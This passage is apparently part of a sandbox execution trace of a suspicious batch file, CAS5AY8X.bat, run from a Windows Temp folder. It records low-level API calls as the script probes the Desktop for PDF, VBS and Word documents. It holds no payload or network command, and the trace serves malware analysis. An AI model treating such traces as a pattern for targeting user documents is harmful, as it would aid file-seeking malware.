[0040.169] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.169] GetLastError () returned 0x2 [0040.169] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.169] GetLastError () returned 0x6 [0040.169] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.169] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.169] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.169] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.170] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.170] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.170] SetConsoleInputExeNameW () returned 0x1 [0040.170] GetConsoleOutputCP () returned 0x1b5 [0040.170] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.170] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.170] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.170] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.170] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.171] SetFilePointer (in: hFile=0x74, lDistanceToMove=3749, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0040.171] GetProcessHeap () returned 0x4e0000 [0040.171] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.171] GetProcessHeap () returned 0x4e0000 [0040.171] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.171] GetProcessHeap () returned 0x4e0000 [0040.171] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.171] GetProcessHeap () returned 0x4e0000 [0040.171] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.171] GetProcessHeap () returned 0x4e0000 [0040.171] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.171] GetProcessHeap () returned 0x4e0000 [0040.171] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.171] GetProcessHeap () returned 0x4e0000 [0040.171] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.171] GetProcessHeap () returned 0x4e0000 [0040.171] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.171] GetProcessHeap () returned 0x4e0000 [0040.171] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.171] GetProcessHeap () returned 0x4e0000 [0040.171] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.171] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.171] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0040.171] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1788, lpOverlapped=0x0) returned 1 [0040.172] SetFilePointer (in: hFile=0x74, lDistanceToMove=3774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0040.172] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.vbs goto vbs\r\n\r\n\r\n") returned 25 [0040.172] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.172] GetFileType (hFile=0x74) returned 0x1 [0040.172] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.172] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0040.172] GetProcessHeap () returned 0x4e0000 [0040.172] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.172] GetProcessHeap () returned 0x4e0000 [0040.172] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.173] _tell (_FileHandle=3) returned 3774 [0040.173] _close (_FileHandle=3) returned 0 [0040.173] GetFullPathNameW (in: lpFileName="*.vbs", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", lpFilePart=0x41eea8*="*.vbs") returned 0x2b [0040.173] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.173] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.174] GetLastError () returned 0x2 [0040.174] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.174] GetLastError () returned 0x6 [0040.174] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.174] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.174] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.174] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.174] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.174] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.175] SetConsoleInputExeNameW () returned 0x1 [0040.175] GetConsoleOutputCP () returned 0x1b5 [0040.175] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.175] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.175] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.175] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.175] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.175] SetFilePointer (in: hFile=0x74, lDistanceToMove=3774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0040.175] GetProcessHeap () returned 0x4e0000 [0040.175] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.175] GetProcessHeap () returned 0x4e0000 [0040.175] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.175] GetProcessHeap () returned 0x4e0000 [0040.175] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.175] GetProcessHeap () returned 0x4e0000 [0040.175] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.175] GetProcessHeap () returned 0x4e0000 [0040.175] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.176] GetProcessHeap () returned 0x4e0000 [0040.176] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.176] GetProcessHeap () returned 0x4e0000 [0040.176] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.176] GetProcessHeap () returned 0x4e0000 [0040.176] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.176] GetProcessHeap () returned 0x4e0000 [0040.176] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.176] GetProcessHeap () returned 0x4e0000 [0040.176] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.176] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.176] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0040.176] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x176f, lpOverlapped=0x0) returned 1 [0040.176] SetFilePointer (in: hFile=0x74, lDistanceToMove=3776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0040.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.vbs goto vbs\r\n\r\n\r\n") returned 2 [0040.176] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.177] GetFileType (hFile=0x74) returned 0x1 [0040.177] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.177] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0040.177] GetProcessHeap () returned 0x4e0000 [0040.177] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.177] GetProcessHeap () returned 0x4e0000 [0040.177] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.177] _tell (_FileHandle=3) returned 3776 [0040.177] _close (_FileHandle=3) returned 0 [0040.177] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.177] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.177] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.177] SetFilePointer (in: hFile=0x74, lDistanceToMove=3776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0040.178] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.178] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0040.178] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x176d, lpOverlapped=0x0) returned 1 [0040.178] SetFilePointer (in: hFile=0x74, lDistanceToMove=3803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0040.178] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.docx goto docx\r\n\r\n") returned 27 [0040.178] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.178] GetFileType (hFile=0x74) returned 0x1 [0040.178] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.178] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0040.178] GetProcessHeap () returned 0x4e0000 [0040.178] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.178] GetProcessHeap () returned 0x4e0000 [0040.178] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.179] _tell (_FileHandle=3) returned 3803 [0040.179] _close (_FileHandle=3) returned 0 [0040.179] GetFullPathNameW (in: lpFileName="*.docx", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", lpFilePart=0x41eea8*="*.docx") returned 0x2c [0040.179] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.179] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.180] GetLastError () returned 0x2 [0040.180] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.180] GetLastError () returned 0x6 [0040.180] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.180] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.180] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.180] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.180] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.180] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.181] SetConsoleInputExeNameW () returned 0x1 [0040.181] GetConsoleOutputCP () returned 0x1b5 [0040.181] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.181] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.181] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.181] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.181] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.181] SetFilePointer (in: hFile=0x74, lDistanceToMove=3803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0040.181] GetProcessHeap () returned 0x4e0000 [0040.181] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.181] GetProcessHeap () returned 0x4e0000 [0040.181] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.182] GetProcessHeap () returned 0x4e0000 [0040.182] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.182] GetProcessHeap () returned 0x4e0000 [0040.182] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.182] GetProcessHeap () returned 0x4e0000 [0040.182] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.182] GetProcessHeap () returned 0x4e0000 [0040.182] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.182] GetProcessHeap () returned 0x4e0000 [0040.182] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.182] GetProcessHeap () returned 0x4e0000 [0040.182] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.182] GetProcessHeap () returned 0x4e0000 [0040.182] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.182] GetProcessHeap () returned 0x4e0000 [0040.182] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.182] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.182] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0040.182] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1752, lpOverlapped=0x0) returned 1 [0040.182] SetFilePointer (in: hFile=0x74, lDistanceToMove=3805, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0040.182] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.docx goto docx\r\n\r\n") returned 2 [0040.183] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.183] GetFileType (hFile=0x74) returned 0x1 [0040.183] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.183] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0040.183] GetProcessHeap () returned 0x4e0000 [0040.183] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.183] GetProcessHeap () returned 0x4e0000 [0040.183] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.183] _tell (_FileHandle=3) returned 3805 [0040.183] _close (_FileHandle=3) returned 0 [0040.183] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.183] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.183] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.183] SetFilePointer (in: hFile=0x74, lDistanceToMove=3805, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0040.184] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.184] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0040.184] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1750, lpOverlapped=0x0) returned 1 [0040.184] SetFilePointer (in: hFile=0x74, lDistanceToMove=3830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0040.184] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.doc goto doc\r\n\r\n\r\n") returned 25 [0040.184] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.184] GetFileType (hFile=0x74) returned 0x1 [0040.184] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.184] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0040.184] GetProcessHeap () returned 0x4e0000 [0040.184] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.184] GetProcessHeap () returned 0x4e0000 [0040.184] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.185] _tell (_FileHandle=3) returned 3830 [0040.185] _close (_FileHandle=3) returned 0 [0040.185] GetFullPathNameW (in: lpFileName="*.doc", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", lpFilePart=0x41eea8*="*.doc") returned 0x2b [0040.185] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.185] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.186] GetLastError () returned 0x2 [0040.186] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.186] GetLastError () returned 0x6 [0040.186] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.186] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.186] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.186] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.186] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.186] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.187] SetConsoleInputExeNameW () returned 0x1 [0040.187] GetConsoleOutputCP () returned 0x1b5 [0040.187] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.187] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.187] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.187] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.187] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.187] SetFilePointer (in: hFile=0x74, lDistanceToMove=3830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0040.187] GetProcessHeap () returned 0x4e0000 [0040.187] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.187] GetProcessHeap () returned 0x4e0000 [0040.187] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.187] GetProcessHeap () returned 0x4e0000 [0040.188] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.188] GetProcessHeap () returned 0x4e0000 [0040.188] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.188] GetProcessHeap () returned 0x4e0000 [0040.188] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.188] GetProcessHeap () returned 0x4e0000 [0040.188] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.188] GetProcessHeap () returned 0x4e0000 [0040.188] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.188] GetProcessHeap () returned 0x4e0000 [0040.188] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.188] GetProcessHeap () returned 0x4e0000 [0040.188] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.188] GetProcessHeap () returned 0x4e0000 [0040.188] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.188] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.188] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0040.188] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1737, lpOverlapped=0x0) returned 1 [0040.188] SetFilePointer (in: hFile=0x74, lDistanceToMove=3832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0040.188] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.doc goto doc\r\n\r\n\r\n") returned 2 [0040.188] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.188] GetFileType (hFile=0x74) returned 0x1 [0040.189] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.189] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0040.189] GetProcessHeap () returned 0x4e0000 [0040.189] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.189] GetProcessHeap () returned 0x4e0000 [0040.189] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.189] _tell (_FileHandle=3) returned 3832 [0040.189] _close (_FileHandle=3) returned 0 [0040.189] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.189] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.189] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.189] SetFilePointer (in: hFile=0x74, lDistanceToMove=3832, lpDistanceToMoveHigh=0x0, 